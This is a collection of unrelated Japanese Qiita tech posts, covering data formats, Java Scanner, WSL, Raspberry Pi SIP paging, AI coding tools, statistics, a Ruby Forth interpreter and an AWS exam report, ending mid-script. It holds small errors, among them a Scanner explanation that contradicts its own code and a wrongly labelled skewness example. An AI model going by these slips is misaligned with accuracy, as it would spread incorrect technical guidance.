OmniAICreator/Qiita-1.07M huggingface dataset:
JSONとYAMLを比較

## JSONとYAMLの概要

JSON（JavaScript Object Notation）とYAML（YAML Ain't Markup Language）は、どちらもデータを記述するためのテキスト形式のフォーマットです。主に設定ファイル、データ交換、APIのレスポンスなどの用途で広く使用されています。

---

## JSONとは

JSONはJavaScriptから派生した軽量でシンプルなデータ記述形式です。キーと値のペアでデータを表現し、主にWebアプリケーションやAPI通信に広く使われています。

### JSONの特徴

* シンプルで直感的
* JavaScriptにネイティブに対応
* Web APIで広く利用されている
* 多くのプログラミング言語がサポート

#### JSONの例

```json
{
  "name": "John",
  "age": 30,
  "isStudent": false,
  "skills": ["JavaScript", "Python", "Go"]
}
```

---

## YAMLとは

YAMLは人間が読み書きしやすいことを重視したデータフォーマットです。インデントや空白を使ってデータ構造を表現します。

### YAMLの特徴

* 人間が読み書きしやすい
* コメントが書ける
* 複雑なデータ構造を簡潔に表現可能
* 設定ファイルやCI/CDの構成（例：GitHub Actions、Kubernetesなど）でよく利用される

#### YAMLの例

```yaml
name: John
age: 30
isStudent: false
skills:
  - JavaScript
  - Python
  - Go
```

---

## JSONとYAMLの比較

| 項目      | JSON           | YAML         |
| ------- | -------------- | ------------ |
| 読みやすさ   | ○（やや劣る）        | ◎（非常に良い）     |
| 書きやすさ   | ○（普通）          | ◎（簡単）        |
| コメント機能  | ×（非対応）         | ○（対応）        |
| データサイズ  | ◎（コンパクト）       | ○（やや冗長）      |
| パフォーマンス | ◎（高速なパース）      | ○（やや遅い）      |
| 利用シーン   | Web API、設定ファイル | 設定ファイル、CI/CD |

### 使い分けのポイント

* **JSON**: API通信など、機械がデータを扱うシーンで高速性や簡潔さが求められる場合に最適。
* **YAML**: 設定ファイルやCI/CDパイプラインなど、人間が読み書きする場面で特に利便性が高い。

---

## 最近のトレンド

近年ではクラウドインフラのコード化（IaC：Infrastructure as Code）が進み、特にYAMLがCI/CD（GitHub Actions、GitLab CI）やKubernetesなどで頻繁に使われるようになっています。 一方でJSONはREST APIやフロントエンドとバックエンド間のデータ通信フォーマットとして不動の地位を築いています。

さらに最近では、JSONを改良したJSON5などの新フォーマットも注目を集め始めており、JSONの利便性を保ちながらコメント記述などYAMLの利点も取り込もうとする動きが見られます。

---
Scannerのnext()メソッドとnextLine()メソッドの違い

競技プログラミングでよく使うScannerクラスの
next()メソッドとnextLine()メソッドの違いが理解できていなかったので、
調べてみました。


①next()メソッドの動き
## 入力
5
田中 太郎

## コード
```java
import java.util.Scanner;

public class Main {
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        int number = sc.nextInt();
        String lastName = sc.next();
        String firstName = sc.next();
        System.out.println(number);
        System.out.println(lastName);
        System.out.println(firstName);
        
    }
}
```

## 出力
5
田中
太郎


入力値1行目の数値5をnextInt()メソッドで取得し、
入力値2行目の文字列をnext()メソッドで取得しています。
1つ目のnext()メソッドは改行を無視して、入力値2行目1つ目の文字を取得しています。

next()デリミタ・パターンと一致する入力をスキップし、次のトークンを返そうとします。

※Oracle公式のJava APIドキュメントより
next()とhasNext()のメソッドとそのコンパニオン・メソッド(nextInt()やhasNextInt()など)は、まずデリミタ・パターンと一致する入力をスキップし、次のトークンを返そうとします。

つまり、空白や改行などのデリミタは無視して、次の文字列を取得してくれるのです。


②nextLine()メソッドの動き
nextLine()メソッドを次の行を取得すると勘違いしていた私。
予想としては
5
田中　太郎
と出力されることを予想していました。
しかし、下記のコードを実行すると、予想と違う結果になりました。


## 入力
5
田中 太郎

## コード
```java
import java.util.Scanner;

public class Main {
    public static void main(String[] args) {	
        Scanner sc = new Scanner(System.in);
        int number = sc.nextInt();
        String name = sc.nextLine();
        System.out.println(number);
        System.out.println(name);
    }
}
```

## 出力
5

2行目の文字列が出力されていません。これはなぜでしょうか。

※Oracle公式のJava APIドキュメントより
public String nextLine()
スキャナを現在行の先に進めて、スキップした入力を返します。 このメソッドは、最後の行区切り文字を除く、現在行の残りを返します。 位置は、次の行の最初に設定されます。
このメソッドは行区切り文字の検索を入力内で続行するため、行区切り文字が存在しない場合、スキップする行を検索する入力をすべてバッファすることがあります。

戻り値:
スキップされた行


つまり、スキャナを次の入力に進め、スキップした、最後の行区切り文字を除く現在行の残りの入力を返すメソッドであるということです。

最初の入力値5をnextInt()メソッドで取得したのち、nextLine()メソッドを実行しています。
この時1行目にある値はすべて取得されているため、nextLine()メソッド改行文字のみが取得されることになり、結果として何も出力されていないように見えたわけです。

二行目を出力したければ、nextLine()メソッドの後にnextInt()メソッドを実行する必要があります。


## 入力
5
田中 太郎

## コード
```java
    import java.util.Scanner;
    
public class Main {
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        int number = sc.nextInt();
        String name = sc.nextLine();
        String firstName = sc.next();
        String lastName = sc.next();
        System.out.println(number);
        System.out.println(name);
        System.out.println(firstName);
        System.out.println(lastName);     
    }
}
```

## 出力
5

田中
太郎

nextLine()メソッドには、改行が返されており、
その後next()メソッドを実行することで文字列を取得できたことが分かります。


◎まとめ
|メソッド  |取得内容・主な用途  |主な用途  |
|---|---|---|
|next() |次の「単語」	改行・空白で区切る  |単語単位の入力  |
|nextLine()  |次の「1行全体」	改行までを読み込む  |行全体の取得  |
WSL環境を切り替える

# 環境作成
## 管理者としてPowershellを開く 
以下のコマンドで既存のWSL環境をエクスポート
```powershell
wsl --export Ubuntu Ubuntu.tar
```
エクスポートしたファイルを使用して、今回は授業用の環境を作成
```powershell
wsl --import UbuntuClass C:\Users\ユーザー名\wsl\UbuntuClass Ubuntu.tar
```
:::note
インポート先のディレクトリはシステムディレクトリ以外ならどこでもいい
:::
最後に
```powershell
wsl --list --all
```
で作成した環境があるか確認してください
# 環境切り替え
いつもどうりpowershellなどを開いて上の↓をおすと先ほど作成した環境があると思うのでそれを、右クリック

わかりやすいようにユーザー名を変えておきましょう
rootユーザーで作業します
```powershell
sudo usermod -l 新しいユーザー名 -d /home/新しいユーザー名 -m 旧ユーザー名
```
:::note
追加した環境はあくまで元の環境のコピーなので元の環境は変わりません
:::
再度環境を開いたときrootユーザでログインしてしまう状態なので通常ユーザでログインにします。

作成した環境内で/etc/wsl.confを編集します
```
sudo nano /etc/wsl.conf
```
以下の内容を追加します
```
[user]
default=最初に起動したいユーザ名
```
最後にpowershellから以下のコマンド入力し再起動します
```powershell
wsl --terminate UbuntuClass
```
# その他
もし環境が不要になったら
```powershell
wsl --unregister UbuntuClass
```
で削除できます。
Raspberry PiでSIPページング(放送)

## はじめに

我が家では、Raspberry PIでasteriskを動かし、VoIP アダプタ経由で固定電話を接続したり、SIPフォンを接続したりして、内線として利用しています。

しかし、「ごはんができたよ」とか「お風呂入って」と呼びかけたいだけの場合、受話器を取ってもらうことが手間です。そこで、電話をかけたらそのまま声をかけられるよう、ページング(放送)ができると良いと思いつきました。

Raspberry PIに、USBのSpeakerphoneを接続し、ページングできるようにしたので、その経験を投稿しようと思います。

## ハードウェア構成

Raspberry Pi Model B Rev 2に、Plantronics P610を接続しています。Raspberry Pi Model B Rev 2は古いですが、今の所、正常動作しています。

写真のように壁に取り付けています。

![IMG_20250506_205235.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408722/90ff07c6-bbe7-4b09-9d5f-cb880d4006fd.jpeg)

## ソフトウェア構成

インターネットの情報を検索したところ、以下のページにたどり着き、PJSIPに含まれるpjsuaがSIP clientとして使えそうなことが分かりました。

https://www.voip-info.jp/index.php?title=Asterisk%2BRadio&mobileaction=toggle_view_desktop

PJSIPのページは以下です。

https://www.pjsip.org/

## 課題への対処

### PJSIPのデバイスID

pjsuaの起動オプションとして--capture-devと--playback-devがあり、オーディオデバイスのデバイスIDを指定する必要があります。このデバイスIDは、PJSIPが見つけたオーディオデバイスに対して順番に割り振る値のようで、Raspberry Piの再起動によって変わる可能性があります。

LinuxのオーディオサブシステムであるALSAでのデバイス名は`arecord -L`や`aplay -L`で調べられます。私のUSB speakerphoneの場合は、`plughw:CARD=P610,DEV=0`です。

そこで、ドライバ名(常にALSA)とデバイス名からデバイスIDを取得するヘルパープログラムを作成しました。
誰かの役に立つかもしれないので、githubで公開しました。

https://github.com/hanamizuki333/pjsip-paging

以下のように使います。

```bash
$ pjsip-lookup ALSA plughw:CARD=P610,DEV=0
18
```

このコマンドの実行結果を--capture-devと--playback-devに渡すことで、実行時のデバイスIDが渡ります。

### systemd経由のpjsuaの起動

pjsuaはコンソール上でインタラクティブに実行するSIPクライアントですが、ページングとして利用するためには自動起動する必要があります。systemdのサービスファイルを作成することで、自動起動することが最近(この10年ほど)の標準的な方法と思います。

ところが、systemd経由でpjsuaを起動したところ、メニューが表示されたあとに「Cannot switch back to console from file redirection」と表示されて終了してしまいました。PJSIPのソースコードを調査したところ、stdinに対するfgets()がNULLを返すと、このメッセージが表示されるようになっています。つまり、標準入力が閉じられると、このメッセージが出力されて、pjsuaが終了するようになっています。

回避策を探して試行錯誤したところ、`tail -f /dev/null | pjsua ... `というように起動すれば、pjsuaは標準入力からの待ち状態になるので、動作し続けることが分かりました。

次のようなサービスファイルを作成しました。

```
[Unit]
Description=PJSUA SIP client
After=network.target

[Service]
ExecStart=bash -c "tail -f /dev/null | pjsua --log-level 1 --no-cli-console --local-port 5082 --capture-dev 
`pjsip-lookup ALSA plughw:CARD=P610,DEV=0` --playback-dev `pjsip-lookup ALSA plughw:CARD=P610,DEV=0` --no-va
d --auto-answer 200 --config-file /usr/local/etc/sip-account.conf"
User=pjsip
Group=pjsip
Restart=always
RestartSec=10
StandardOutput=journal
StandardError=journal

[Install]
WantedBy=multi-user.target
```

/usr/local/etc/sip-account.conf には以下のようにSIPのアカウント情報を記載しておきます。

```
--id sip:user@localhost
--registrar sip:localhost:5060
--realm *
--username user 
--password password 
```

これらの設定ファイルもgithubでも公開しました。

https://github.com/hanamizuki333/pjsip-paging

## まとめ

PJSIPに含まれるpjsuaと、インターネット上の情報でほぼページングは実現できましたが、いくつかの課題がありましたので、ヘルパープログラムを作成したり、些細な工夫をしたサービスファイルを作成しました。

これで大声で叫ばなくても、電話経由で、子供へ声をかけられそうです。
Clineが大量に生成するコードをブラックボックス化させずメンテナビリティを保つための考察

## 課題
AI コーディングエージェントで開発していて、ノールック（または近い状態）で approve, プルリク作成していませんか。

デモ用など使い捨てのアプリならいいのですが、例えば本番運用するシステムの場合、ブラックボックス化して保守性が下がることは避けたいですよね。

ならば、人間が Cline 生成コードについてよく理解している必要があります。

##### イメージ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2504573/c17e2b7d-0cbd-41cd-a1a4-299cf043c7e1.png)



ここで、「1 プロンプトごとにCline が書いたコードをちゃんと全部読もう」と **気合で解決することは筋がわるい**と思います。

なぜなら、大量の差分全てを確認する作業は負荷が高く、欠陥を見落とす可能性が高いためです。

あなたは、大きなプルリクのレビュー依頼が来てやる気をそがれたことはありませんか。
または、プルリクが大きすぎると注意されたことはありませんか。



> プルリクコード量と欠陥発見率
> ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2504573/f79222fe-1e23-4b00-bb43-eaf02fb22f2b.png) [^1]
> 横軸：LOC = コード行数。Lines of Code
> 縦軸：欠陥数 / コード行数


変更差分が多くなるほどレビュワーの意欲や集中力は低下し、欠陥を見つけづらくなります。

[^1]: https://smartbear.com/learn/code-review/best-practices-for-peer-code-review/

そのため、**気合ではなく工夫**で解決したい。

## どうすればいいか

1 回のプロンプトで生成される**差分を小さくする**ことにエネルギーを注ぐべきだと思います。

実際に Cline で試して良かった方法を 2 つ紹介します。

### 1. 関心の単位で AI に指示出し

異なる関心事を混ぜて指示すると、大量のコードが生成されます。

##### 巨大な差分。読むのに根性が必要
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2504573/e8205593-65b4-4b39-a1e3-f6792a6b5fb8.png)

これに対し、関心ごと単位で指示を出すと、必然的に AI 生成の差分も小さくなりラクにレビューできます。

##### 👍認知負荷の低い小さい差分

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2504573/2ff1c40a-c253-4350-af23-bb4e2beea885.png)

上記は style のみに関心を限定して AI に修正を依頼。style 変更のみ起きるはずが、 hook 呼び出しまで勝手に修正していることに気付けました。

### 2. 早期に設計や依存関係を理解


もし既にブラックボックス化しているコードが存在している場合、まずは元の設計やファイル構成を理解することが大切だと思います。

なぜなら、ある対象の理解度は、読解力より知識量に左右されるためです。

>（参考）中学生を読解力の高低で 2 つに分けたあと、野球知識の大・小によって、計 4 グループに分ける。
> 野球に関する文章を読ませたあと理解度のテストをした。
> 結果、「読解力低・野球知識多」グループのほうが、「読解力高・野球知識少」グループよりも、記憶力や要約能力が優れていた。[^2]
> ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2504573/22cfc568-73f9-46dc-aebe-774a15bb7ee6.png)
>[The Baseball Study by Recht and Leslie の解説動画](https://www.youtube.com/watch?v=qP6qpSrr3cg) より。画像の中の日本語と赤線は私が付け加えました。

[^2]: https://www.youtube.com/watch?v=qP6qpSrr3cg

私は最初、アプリ要件の全てを Cline に伝えたところ大量のコードが生成されてしまい、どのファイルが何の役割を果たしているのか、循環依存など起きていないか、不安な状態に陥りました。

したがって、まずは Cline にプロジェクトの依存関係図やデータフロー図を書かせました。

結果、全体の見通しが良くなり、手を入れるべきファイルが分かりました。また、AI が誤って生成した所も見つけました。

全体像を見渡せると関心ごと単位で指示を出せ、差分も小さくなり開発体験がぐっと良くなります。


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2504573/0fbf500a-9df7-4e57-8ac6-98b0c05a8ae1.png)
生成してもらったデータフロー図

開発が進んでからでは図が正しいかの確認作業が大変なので、早期にやっておいてよかったです。

## 結果
AI が間違えて生成したコードの修正を含めても、自分で全部書くより時間は短縮されたと思います。

かつ、初期段階でコードの依存関係を整理したドキュメントも生成したため、リポジトリ全体の理解度も高められたと思います。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2504573/8e9ae361-5564-4df6-90a7-00fe1e33535a.png)

余談ですが、最初に要件全体を Cline に伝えて生成させことで、学習量の多い React の思想に沿っている設計にしてくれたように見えました（例えば複数ファイルで使うオブジェクトは single source of truth としてコンテキストとして提供するなど）。これは AI エージェントを使うメリットの一つかもしれません。
JavaCVでByteArrayからMat変換の備忘録

JavaCVで、ByteArrayからMatに変換するときの備忘録。

JavaのOpenCVで画像変換をするためには、OpenCVの導入が必要になる。
ただ、配布可能パッケージとして利用を考えたとき、まだ自分ではうまく取り廻せないためJavaCVで乗り切れないかと考えた。
その際、Matの作成時に2byte文字(日本語等)のパスがJavaCV、OpenCVでは読み込めずエラーになるため、調べたところByteArrayからMatに変換すれば可能といった記事がいくつか出てきた。
しかし、NativeなOpenCVを利用せず、JavaCVを利用したByteArrayからMat変換方法がなかなかヒットせず、途方に暮れていたところ海外のサイトで対処方法を見つけたため、備忘録として残す。
※肝心のサイトがどこかを忘れた、、、

~~~Java:ConvertMat.java
public static Mat convertMat(Path sourcePath){
    // 念のため引数のPathをURIに変換
    URI srcUri = sourcePath.toUri();
    try(ByteArrayOutputStream bos = new ByteArrayOutputStream()){
        // URIに変換したPathを格納
        Path srcPath = Paths.get(srcUri);
        Files.copy(srcPath, bos);

        // JavaCVのjavacpp.BytePointerに渡してMatとして格納
        return imdecode(new Mat(new BytePointer(bos.toByteArray())),IMREAD_ANYDEPTH | IMREAD_ANYCOLOR);
    
    } catch (IOException e){
        e.printStackTrace();
    }
    return null;
}
~~~

でByteArrayからMatへの変換はひとまず可能。
🔥 賞金総額28,000ドル！データフィルタリングチャレンジ開催！

# エッジLLM向けファインチューニングのためのデータフィルタリングチャレンジ！！

**このチャレンジを担当しているレックスです。質問などあれば、ぜひお気軽にDMしてください。以下のDiscordサーバーへの参加もお待ちしています！**
（メッセージを英語で書く必要はありません）

**主催**: NVIDIA  
**協賛**: Lambda、Turing  

このチャレンジでは、革新的なデータフィルタリング手法を開発し、エッジLLM向けに最適化されたデータセットを作成することが求められます。  
LLMの進化の大きな原動力の1つは、**データの質**です。



---

## 🤩 賞金内容

- **最優秀賞**：\$10,000 ＋ \text{Lambda Cloud} クレジット \$1,000 分  
- **部門別賞（4件）**： \$3,000 ＋ \text{Lambda Cloud} クレジット \$500 分  
- **イノベーション賞**：\$3,000 ＋ \text{Lambda Cloud} クレジット \$300 分

---

## 🛠️ チャレンジ概要

- **Nemotron-CC-HQ** をmに、独自のフィルタリング済みデータセットを作成  
- **Lambdaより A100 GPU 100時間** 分の利用権を提供（登録チーム対象）  
- **600Bトークン** から **10Bトークン** をフィルタリング  
- **400Mモデル** を **PEFT（DoRA）** でファインチューニング  
- **新規データの使用は禁止**

---

## 📅 スケジュール

- **登録締切**：2025年7月1日  
- **ソリューション提出締切**：2025年9月1日  

---

## 🌐 詳細・登録

👉 [チャレンジ公式サイト](https://sites.google.com/view/datafilteringchallenge/home)  
👉 [Discordに参加する](https://discord.com/invite/TVjjdcbuFG) 

---

## 主催者

[SHIZHE DIAO](https://www.linkedin.com/in/shizhediao/)、[Yonggan Fu](https://www.linkedin.com/in/yonggan-fu-b211831b0/)、[Xin Dong](https://www.linkedin.com/in/xdongharvard/)、[Peter Belcak](https://www.linkedin.com/in/peter-belcak/)、[Lex Whalen](https://www.linkedin.com/in/lxaw/)、[Mostofa Patwary](https://www.linkedin.com/in/mostofa-patwary-a7747717/)、[Mohammad Shoeybi](https://www.linkedin.com/in/shoeybi/)、[Wenfei Zhou](https://www.linkedin.com/in/wenfei-zhou-981011162/)、[Jan Kautz](https://www.linkedin.com/in/jan-kautz-4668264/)、[Yingyan (Celine) Lin](https://www.linkedin.com/in/yingyan-celine-lin-a281211a/)、[Pavlo Molchanov](https://www.linkedin.com/in/pavlo-molchanov-08738a63/)
エフェクトのテクスチャについて。　とりあえず用意編

# エフェクトの作成の際、どんなテクスチャが必要か
結構な種類のテクスチャを使うので、いろいろ用意することになりやすいですが
最低使いそうなテクスチャを用意してみましょう。

今回は基本的に白黒テクスチャのみ作成します。

## Blank系
マテリアルを作成する際、UE5ではテクスチャをさしておくことになるため、デフォルトで設定しておくテクスチャになります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4079054/e44580ff-0bcf-4c35-8934-b1f9d9b3df85.png)

## Gradient系
特にメッシュと組み合わせたときに何かと使うグラデーション系
いろいろなグラデーションのかかり方があるので、とりあえず各方向にリニアなものを
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4079054/cc1ae7f6-61c4-4ffd-b6e8-e676a7bdc9db.png)

:::note info
グラデーション系は、無駄な領域を省くためグラデーションになっていない方向の解像度を落としておくといいです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4079054/428a6c97-d13f-43c8-aed8-5a6f99ce179a.png)

512*2はもしかすると　256or128　*1などでも十分かもしれません。
substance designerはこういった解像度編集が行いやすいのが利点です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4079054/e4d8a4a0-fb45-43e0-97e6-00d9db88670e.png)

:::

## Mask系
とりあえずの丸とわっか系、Hitマークっぽいものがあってもいいかも
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4079054/abfc03e3-f8da-47c4-84e6-fa152ed7e4f3.png)

:::note info
テクスチャを作成する際、マスクとして使用するものは、テクスチャの端っこが1PXほど空いていると理想です。
そうしないとシェーダーで動きを付けた際に意図しない見た目になるときがあるからです。
間が空きすぎてしまっても、テクスチャの使える領域がもったいないので極力開けないほうが”基本的には”いいでしょう
![スクリーンショット 2025-05-06 170737.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4079054/4388aace-eb30-4df6-b9e0-b7d3a7c77df5.jpeg)
:::

## SeamlessNoise系
ここは様々なものが求められますが、とりあえずシンプルなものをいったん用意
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4079054/36d138bb-0e26-4764-9a73-b5976c5de530.png)

:::note info
ノイズ系は最後にAutoLevelを挟んであげると少し階調のバランスをとってくれるので、”そのままの絵が出てほしい”ものでなければ私はよく使用します
:::


## UEでテクスチャの設定
テクスチャをUEのコンテンツブラウザにドラッグアンドドロップして読み込ませます
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4079054/490c11d9-bafc-4b18-bf25-f198cd03614f.png)

複数選択して、右クリック→アセットアクション→プロパティマトリクスで選択内容を編集　で複数まとめて編集できておすすめです。
![9.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4079054/58e7416a-a4b2-4205-9378-19e9ccd19429.gif)

各設定はテクスチャごとに異なりますが、
基本的に白黒テクスチャは[圧縮設定]をAlphaに
カラーは[圧縮設定]はDeaultに
ノーマルテクスチャは[圧縮設定]をNormalmapに

マスク系のループさせたくないものは
詳細設定→ X-axisかY-axisのループさせたくない方向をClampに
詳細設定→Preserve BorderのチェックをONに（任意）

TextureGroupを変更する場合もありますが、個人製作ではあまり気にしなくていいでしょう（初期のWorldのまま）　業務ではEffectsにしたりエンジニアと相談して適切なグループを割り当てましょう
【復習】CursorのAgent,Ask,Manualについてそれぞれ解説

## Askモードとは
### 安全にコードを探索・学習するための「読み取り専用」モード
**コードベースを変更せずに質問や探索が可能**
**コードベース全体を検索し、関連する情報を提供する。**
**提案されたコード変更はユーザーが手動で適用する必要がある。**

### 利用シーン
**新しいコードベースの理解：既存のコードを変更せずに、構造や機能を把握したい場合。**
**学習目的：コードの動作や設計意図を理解するための質問を行う際に適している。**


## Manualモードとは
### ユーザー主導で精密な編集を行う「手動制御モード」
**編集対象ファイルを`@`記号で明示的に指定する必要がある。**
**AIはユーザーの指示に従い、指示された変更のみを行う。**
**ファイル編集機能に重点を置き、検索やターミナルコマンドの実行は行いません。**

### 利用シーン
**特定の関数のリファクタリング：特定のファイル内で関数名を変更し、呼び出し箇所を更新する場合**
**定型的な変更の適用：著作権表示の追加など、特定の変更を複数のファイルに適用する場合**


## Agentモードとは
### AIが自律的にコードを編集・実行する「全自動」モード
**AIがコードベースを探索し、必要な変更を自動で行う。**
**ターミナルのコマンドの実行、ドキュメントの参照など、すべてのツールを利用可能。**
**複雑なタスクを文化し、順序立てて実行。**

### 利用シーン
**大規模なリファクタリング**
**AIに新しい機能の実装を任せたいとき**
**必要なライブラリのインストールや設定を自動で行う**

## 参考になった文献（参照日2025年5月6日）

https://www.youtube.com/watch?v=3289vhOUdKA
統計検定2級 歪度と尖度

## はじめに
今回は統計検定2級の範囲の歪度と尖度に関して学んでいきます！

# 📊 データの形を読み解く：歪度と尖度の完全ガイド

統計学やデータ分析を学ぶ中で、「平均」や「標準偏差」だけでは分布の全体像がつかめないと感じたことはありませんか？  
そんなときに役立つのが、「**歪度（Skewness）**」と「**尖度（Kurtosis）**」という2つの指標です。

---

## 🌀 歪度（Skewness）とは？

> データの**左右の偏り（非対称性）**を数値で表す指標です。

### 🔢 定義（数式）

$$
\text{歪度} = \frac{E[(X - \mu)^3]}{\sigma^3}
$$

- $\mu$：平均  
- $\sigma$：標準偏差  
- 分子の $(X - \mu)^3$：**分布の3乗モーメント → 対称性に敏感**

---

### 🧠 イメージで理解

| 歪度 | 分布の形     | 特徴例                              |
|------|--------------|--------------------------------------|
| > 0  | 右に尾が長い | 高い値が一部に存在（例：年収分布）  |
| = 0  | 左右対称     | 正規分布など                         |
| < 0  | 左に尾が長い | 小さい値に外れ値（例：難問のテスト）|

---

### 🧩 歪度はなぜ使う？

- **中央値と平均のズレ**を把握できる（歪度 > 0 → 中央値 < 平均）
- 正規性のチェック・外れ値の方向の把握に使える
- 機械学習の前処理（対数変換など）の判断材料にも◎

---

## 🔺 尖度（Kurtosis）とは？

> 分布の**山のとがり具合と、端の重さ（外れ値の出やすさ）**を表す指標です。

---

### 🔢 定義（過剰尖度）

$$
\text{尖度} = \frac{E[(X - \mu)^4]}{\sigma^4} - 3
$$

- 4乗モーメントを使うため、**外れ値に非常に敏感**
- 「−3」は正規分布を基準として**尖度 = 0**とするための調整値

---

### 🧠 イメージで理解

| 尖度 | 分布の形          | 特徴例                            |
|------|-------------------|------------------------------------|
| > 0  | 山が尖って尾が重い | 外れ値が出やすい（例：t分布）     |
| = 0  | 標準的な尖り具合  | 正規分布など                      |
| < 0  | 平らで尾が軽い    | 一様分布など、外れ値が出にくい    |

---

### 🧩 尖度はなぜ使う？

- **外れ値の出やすさ**を数値で把握できる
- リスク評価（金融）、異常検知、品質管理で有用
- 正規性からの逸脱の検出にも役立つ

## 🎯 歪度と尖度を同時に見るとわかること

| 分布の特徴 | 歪度 | 尖度 | 例 |
|------------|------|------|----|
| 高収入者が一部いる | > 0 | > 0 | 年収分布、株価リターン |
| 点数が低い人が多い難問 | < 0 | > 0 | テストの成績 |
| 平らで均一な分布 | = 0 | < 0 | 一様分布 |
| 正規分布とほぼ同じ | = 0 | = 0 | 標準正規分布 |

---
paiza.ioでruby その2

# 概要
paiza.ioでrubyやってみた。
練習問題やってみた。

# 練習問題 
forthインタープリタを書け。
数9を4個つかって1から15までの数を表す式を実行せよ。

# サンプルコード

```


$stack = []
def add
	top1 = $stack.pop()
    top2 = $stack.pop()
	v = top2 + top1
	$stack.push(v)
end
def sub
	top1 = $stack.pop()
	top2 = $stack.pop()
	v = top2 - top1
	$stack.push(v)
end
def mul
	top1 = $stack.pop()
	top2 = $stack.pop()
	v = top2 * top1
	$stack.push(v)
end
def div
	top1 = $stack.pop()
	top2 = $stack.pop()
	v = top2 / top1
	$stack.push(v)
end
def dup
	top1 = $stack.pop()
	$stack.push(top1)
	$stack.push(top1)
end
def drop
	top1 = $stack.pop()
end
def get
	top1 = $stack.pop()
	puts top1
end
def push(v)
	$stack.push(Integer(v))
end
def run(str)
	s = str.split(' ')
	for i in s do
	    #puts i
		if i == "+"
			add()
		elsif i == "-"
			sub()
		elsif i == "*"
			mul()
		elsif i == "/"
			div()
		elsif i == "dup"
			dup()
		elsif i == "drop"
			drop()
		elsif i == "."
			get()
		else
			push(i)
		end
    end
end

		

run("9 9 - 9 9 / .")# 1
run("9 9 / 9 9 / + .")# 2
run("9 9 + 9 + 9 / .")# 3
run("9 9 9 + 9 / dup + .")# 4
run("9 9 9 + 9 / dup + - .")# 5
run("9 dup 9 + 9 + 9 / - .")# 6
run("9 9 9 + 9 / - .")# 7  
run("9 9 9 drop 9 / - .")# 8  
run("9 9 - 9 * 9 + .")# 9  
run("9 9 / 9 dup 9 / + .")# 10  
run("9 9 9 + 9 / + .")# 11  
run("9 dup 9 9 + + 9 / + .")# 12  
run("9 9 9 + 9 / dup + + .")# 13  
run("9 dup 9 9 + 9 / dup + - + .")# 14  
run("9 dup dup 9 + 9 + 9 / - + .")# 15  


```

# 実行結果

```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
```

# 成果物

https://paiza.io/projects/xZPQRXA32uPJxCKi7cfwVA?language=elixir

以上。
AWS Certified AI Practitioner 受験記

AWS Certified AI Practitioner（AIF-C01）の受験記になります。

# 自己紹介
- 総合電機メーカー 入社４年目
- 最近はIoT CoreやGreengrassを使った組み込みソフトウェア開発がメイン
- AWS歴 3年
- 好きなサービス Lambda
- 取得済みAWS認定 CLF, SAA, SOP, DVA, DOP, SAP, ANS, DEA（取得順）

# 受験のきっかけ
1年に4つペースでAWS認定を取得しており、今年で取りきる予定。残りの4つがMLA、MLS、SCS、AIFで仕事の都合上なるべく早く取りたかったため、一番勉強時間が短そうなAIFを選んだ。
また、AIFを取っておけば後に受けるMLAやMLSにも関連することが学べそうと思ったのも理由の1つ。

# 勉強方法
仕事でAWSのMLサービスについて調査したことがあったため、どんなサービスがあるかは代替把握していた。また、生成AIに関しても興味があり調べたことがあったので、全くのゼロから勉強したという感じではない。

教材は以下の物を使った。
- [Cloud Tech](https://kws-cloud-tech.com/) すべての問題を3週
- [AWS Skill Builderの無料問題集](https://explore.skillbuilder.aws/learn/courses/21219/exam-prep-official-pretest-aws-certified-ai-practitioner-aif-c01-ri-ben-yu) 1週

今回もいつも通りCloud Techの問題集を活用した。
しっかり解説を見ながら間違えた問題や不正解の選択肢についても理解し、知らない単語が出てきたらPerplexityで検索して解説してもらうというのを繰り返していた。

[試験ガイド](https://d1.awsstatic.com/ja_JP/training-and-certification/docs-ai-practitioner/AWS-Certified-AI-Practitioner_Exam-Guide.pdf)には並べ替えや内容一致、ケーススタディといったこれまでに経験したことのない出題形式が記載されていたので、念のため公式の問題集であるSkill Builderも試してみた。

色々とわからないところを調べる中でAWSのMLサービスについてわかりやすくまとめられていたページがあった。イラストでまとめられており、MLサービスを把握できていない場合は直感的に理解しやすいと思うのでおすすめ。

https://aws.amazon.com/jp/builders-flash/202401/awsgeek-ai-ml-services/

# 受験本番
90分で65問なので1問 1分20秒くらいで解くことを意識していたが、全部説いた時点で17分しか経過しておらずかなり時間に余裕がある状態だった。

自信がなかった問題も2問ほどしかなかったため、全体通して見直しを行って30分程度で退出した。

# 結果
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/272113/dafd0504-a5b6-495b-8c3a-dacc6a029176.png)

無事に合格。いつも通り当日の夜にはCredlyを通じて合格メールが来ていた。

# 所感
想定通りの問題が多かった。言ってもPractitionerレベルなので、しっかり勉強しておけば取れるという感じ。
AWSのサービスだけでなく、機械学習に関する知識（学習方法、モデルなど）や生成AIに関する知識（活用方法、利用時の注意点など）もかなり必要だと感じた。

# 終わりに
去年は1つ目を取ったのが6月だったため、今年はかなりいいスタートを切ることができた。少し早めに全冠出来るように勉強をすすめていきたい
ps -ef | grep の結果だけ知りたい

`Java` やら `conmon` が長すぎる

```bash
check() {
  if grep "$@" | grep -v grep > /dev/null; then
